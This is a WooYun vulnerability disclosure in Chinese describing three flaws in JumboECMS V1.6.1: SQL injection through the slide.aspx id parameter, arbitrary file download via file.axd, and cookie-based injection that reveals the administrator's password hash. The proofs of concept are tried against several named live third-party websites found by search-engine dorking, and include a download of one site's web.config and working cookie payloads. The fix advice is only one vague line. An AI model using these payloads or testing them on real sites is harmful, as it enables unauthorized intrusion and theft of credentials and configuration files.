当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062717

漏洞标题:JumboECMS V1.6.1 漏洞合集

相关厂商:jumbotcms.net

漏洞作者: what_news

提交时间:2014-06-10 10:19

修复时间:2014-09-08 10:20

公开时间:2014-09-08 10:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-10: 细节已通知厂商并且等待厂商处理中
2014-06-10: 厂商已经确认,细节仅向厂商公开
2014-06-13: 细节向第三方安全合作伙伴开放
2014-08-04: 细节向核心白帽子及相关领域专家公开
2014-08-14: 细节向普通白帽子公开
2014-08-24: 细节向实习白帽子公开
2014-09-08: 细节向公众公开

简要描述:

JumboECMS V1.6.1 为最新版 2014-02-04 更新
然后在最新版中依然发现注入漏洞
旧版本同样存在了

详细说明:

可以通过google搜索

Powered by JumboECMS


会发现好多企业用这套系统的
现在把漏洞找出来吧
我们先看下整个函数先

public string q(string s)
{
if ((HttpContext.Current.Request.QueryString[s] != null) && (HttpContext.Current.Request.QueryString[s] != ""))
{
return Strings.SafetyStr(HttpContext.Current.Request.QueryString[s].ToString()); //跟进
}
return string.Empty;
}
public static string SafetyStr(string theString)
{
string[] strArray = new string[] { "'", ";", "\"", "\r", "\n" };
for (int i = 0; i < strArray.Length; i++)
{
theString = theString.Replace(strArray[i], string.Empty);
}
return theString;
}
只过滤了这几个"'", ";", "\"", "\r", "\n"字符而已,所以注入是存在的


漏洞一 注入:

www.jumboecms.net/plus/slide.aspx


源码如下

protected void Page_Load(object sender, EventArgs e)
{
this.ID = base.q("id");
base.doh.Reset();
base.doh.SqlCmd = "SELECT * FROM [jcms_normal_slide] WHERE [state]=1 AND [ID]=" + this.ID; //存在注入
DataTable dataTable = base.doh.GetDataTable();
if (dataTable != null)
{
this.Width = dataTable.Rows[0]["Width"].ToString();
this.Height = dataTable.Rows[0]["Height"].ToString();
this.Pics = this.Pics + dataTable.Rows[0]["Img1"].ToString();
this.Links = this.Links + ((dataTable.Rows[0]["Url1"].ToString().Length > 2) ? dataTable.Rows[0]["Url1"].ToString() : "#");
if (dataTable.Rows[0]["Img2"].ToString().Length > 4)
{
this.Pics = this.Pics + "|" + dataTable.Rows[0]["Img2"].ToString();
this.Links = this.Links + "|" + ((dataTable.Rows[0]["Url2"].ToString().Length > 2) ? dataTable.Rows[0]["Url2"].ToString() : "#");
}
if (dataTable.Rows[0]["Img3"].ToString().Length > 4)
{
this.Pics = this.Pics + "|" + dataTable.Rows[0]["Img3"].ToString();
this.Links = this.Links + "|" + ((dataTable.Rows[0]["Url3"].ToString().Length > 3) ? dataTable.Rows[0]["Url3"].ToString() : "#");
}
if (dataTable.Rows[0]["Img4"].ToString().Length > 4)
{
this.Pics = this.Pics + "|" + dataTable.Rows[0]["Img4"].ToString();
this.Links = this.Links + "|" + ((dataTable.Rows[0]["Url4"].ToString().Length > 4) ? dataTable.Rows[0]["Url4"].ToString() : "#");
}
if (dataTable.Rows[0]["Img5"].ToString().Length > 5)
{
this.Pics = this.Pics + "|" + dataTable.Rows[0]["Img5"].ToString();
this.Links = this.Links + "|" + ((dataTable.Rows[0]["Url5"].ToString().Length > 5) ? dataTable.Rows[0]["Url5"].ToString() : "#");
}
}
dataTable.Clear();
dataTable.Dispose();
}


漏洞证明
我找个表进行测试

表名 jcms_normal_user
字段名 UserName 和 UserPass


google 搜索

Powered by JumboECMS


找几个例子进行验证
案例一:

http://www.jumboecms.net/plus/slide.aspx?id=1


id存在注入

529.png


案例二

http://www.ruibide.com/plus/slide.aspx?id=1


http://www.ruibide.com/plus/slide.aspx?id=1 and 1=1


http://www.ruibide.com/plus/slide.aspx?id=1 and 1=2


案例三

http://www.hx123.com.cn/plus/slide.aspx?id=1


http://www.hx123.com.cn/plus/slide.aspx?id=1 and 1=1


http://www.hx123.com.cn/plus/slide.aspx?id=1 and 1=2


漏洞二 存在后门级页面 任意文件下载漏洞 (比较鸡肋吧 需要知道文件的绝对路径)
我们先看下web.config这个页面

<httpHandlers>
<add verb="*" path="file.axd" type="JumboECMS.Common.Handler.FileHandler" validate="false"/>


然后看下这个处理过程

public void ProcessRequest(HttpContext context)
{
string path = context.Request.QueryString["file"];
if (File.Exists(path)) //需要文件的绝对路径
{
context.Response.AppendHeader("Content-Type", "application/octet-stream");
context.Response.AppendHeader("Content-Disposition", "attachment; filename=" + context.Server.UrlEncode(Path.GetFileName(path)));
context.Response.WriteFile(path, false);
}
else
{
context.Response.Status = "404 File Not Found";
context.Response.StatusCode = 0x194;
context.Response.StatusDescription = "File Not Found";
context.Response.Write("File Not Found");
}
}


漏洞证明 还是通过google搜索关键字
通过报错吧 找到网站的绝对路径 但是也要看网站报错能不能有路径可寻了
找几个例子吧
访问

http://www.istpcb-ks.com//plus/codevoice.aspx?Code=a


路径出来了
接着访问

http://www.istpcb-ks.com/file.axd?file=d:\wwwroot\lzsongwq2013\wwwroot\web.config


就可以下载网站的配置文件了 也可下载数据库什么的了

5291.png


本地测试

5292.png


绝对路径比较难找的
漏洞三 用户cookie没检测 存在注入 可获取到管理员密码 如果能破解MD5密码就可以登录管理员登录界面了 后台开启了用户注册登录这个功能为前提
漏洞证明
案例一
访问

http://crystal4d.com/passport/login.aspx


注册一个账号什么的
我注册的是test 密码111111
然后登录
程序不会跳转到用户主页
自己要访问

http://crystal4d.com/user/index.aspx


看下cookie值是什么

5293.png


我的cookie值是

id=4&name=test&nickname=test&password=96e79218965eb72c92a549dd5a330112&email=1%4011.com&groupid=1&groupname=%e5%88%9d%e7%ba%a7%e7%94%a8%e6%88%b7&setting=1%2c1%2c1%2c0%7c23%2c1%2c10%2c10%2c1%2c0%2c1%2c1%2c5%2c1%2c1%2c5%2c1%2c1%2c5%2c&cookies=c63634287


改下cookie值 只改id就可以了
把id值改成 1 or 1=1 整个值 需要urlencode

id=1%20or%201%3D1&name=test&nickname=test&password=96e79218965eb72c92a549dd5a330112&email=1%4011.com&groupid=1&groupname=%e5%88%9d%e7%ba%a7%e7%94%a8%e6%88%b7&setting=1%2c1%2c1%2c0%7c23%2c1%2c10%2c10%2c1%2c0%2c1%2c1%2c5%2c1%2c1%2c5%2c1%2c1%2c5%2c&cookies=c63634287


5295.png


5296.png


刷新下 抓包 我们看到这个页面 包含用户的信息 里面有密码

5297.png


这个也是管理员账号
案例二
访问

http://www.ruibide.com/passport/login.aspx


同样是注册test 111111
登录后访问
访问

http://www.ruibide.com/user/index.aspx


修改cookie 同样只是改id值为 1 or 1=1
改成

id=1%20or%201%3D1&name=test&nickname=test&password=96e79218965eb72c92a549dd5a330112&email=1%4011.com&groupid=1&groupname=%e5%88%9d%e7%ba%a7%e7%94%a8%e6%88%b7&setting=1%2c1%2c1%2c0%7c23%2c1%2c10%2c10%2c1%2c0%2c1%2c1%2c5%2c1%2c1%2c5%2c1%2c1%2c5%2c&cookies=c35906161


刷新下页面 就可以获取管理员账号了

5298.png


5299.png


本地测试

52910.png


52911.png


漏洞证明:

漏洞证明如上

修复方案:

对参数什么的进行处理

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-06-10 10:32

厂商回复:

很认真,谢谢

最新状态:

暂无